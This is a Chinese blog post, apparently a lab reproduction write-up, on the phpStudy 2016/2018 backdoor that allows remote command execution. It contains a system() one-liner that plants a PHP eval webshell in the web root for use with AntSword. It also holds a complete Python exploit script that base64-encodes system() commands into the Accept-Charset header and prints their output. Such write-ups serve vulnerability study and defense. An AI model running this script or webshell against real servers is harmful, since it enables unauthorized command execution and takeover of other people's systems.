phpstudy_2016-2018_rce_backdoor漏洞复现

phpstudy_2016-2018_rce_backdoor

说明内容
漏洞编号phpstudy_2016-2018_rce
漏洞名称RCE(Remote Command|Code Execute)
漏洞评级高危
影响范围phpStudy 2016、phpStudy 2018
漏洞描述攻击者可以利用该漏洞执行PHP 命令,也可以称作 phpStudy 后门 。

漏洞描述

攻击者可以利用该漏洞执行 PHP 命令,也可以称作 phpstudy 后门。RCE(Remote Command| Code Execute)
PHP study 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、Mysql、PhpMyAdmin 等多款软件一次性安装,无需配置即可直接安装使用,一键搭建。其中2016、2018版本的 PHPstudy 存在被黑客恶意篡改后形成的RCE漏洞。该漏洞可以执行远程执行系统命令。

漏洞等级

高危

影响版本

后门代码存在于\exp\php_xmlrpc.dll 模块中,至少有2个版本:phpStudy2016 和 phpstudy 2018自带的php-5.2.17、php-5.4.45。

漏洞复现

基础环境

组件版本
OSWindows 2016 Standerd
Web ServerphpStudy 2016(特别版)

漏洞扫描

  • Windows 可以访问server2016

image.png

  • 启动bp工具抓取服务器与浏览器之间的流量。
  • 发送到 Repeater 模块。
    image.png

漏洞验证

触发条件
更改 bp 字体为楷体24pt
image.png

image.png

image.png

image.png

image.png

深度利用

第一种方式:

  • 利用 bp 执行系统命令
    • phpstudy 软件被插入后门,通过 php system函数执行系统命令,所以我们也可以通过system() 函数写入webshell。
 system(' echo ^<?php @eval($_POST["cmd"]); ?^>>C:/phpstudy_2016/WWW/shell.php ');

使用bp编码后进行上传,在网页查看是否上传成功,使用蚁剑进行连接。

image.png
image.png
image.png

第二种方式:

  • 使用 python 脚本,显现命令框控制。
    image.png

  • 安装requests

pip install requests
  • 代码:
import requests
import base64
import sys
 
banner = '''
.---. .-.          .--.  .-.          .-.        .---.  .--.  .--. 
: .; :: :         : .--'.' `.         : :        : .; :: .--': .--'
:  _.': `-. .---. `. `. `. .'.-..-. .-' :.-..-.  :   .': :   : `;  
: :   : .. :: .; ` _`, : : : : :; :' .; :: :; :  : :.`.: :__ : :__ 
:_;   :_;:_;: ._.'`.__.' :_; `.__.'`.__.'`._. ;  :_;:_;`.__.'`.__.'
            : :                           .-. :                    
            :_;                           `._.'                    
                python *.py http://10.4.7.130/phpinfo.php
'''
 
if len(sys.argv) < 2:
    print(banner)
    exit()
 
url = sys.argv[1]
 
def attack(cmd):
    cmd = f"system('{cmd}');"
    cmd = base64.b64encode(cmd.encode())
 
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept-Charset"    : cmd,
        "Accept-Encoding"   : "gzip,deflate"
    }
 
    res = requests.get(url = url,headers = headers)
    rs = res.content.decode("gb2312")
    result = rs[0:rs.find("DOCTYPE html")]
    return result
 
if __name__ == '__main__':
    cmd = input("请输入想要执行的系统命令:")
    if cmd == 'q':
        print("感谢使用!!!")
    else:
        print(attack(cmd))
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值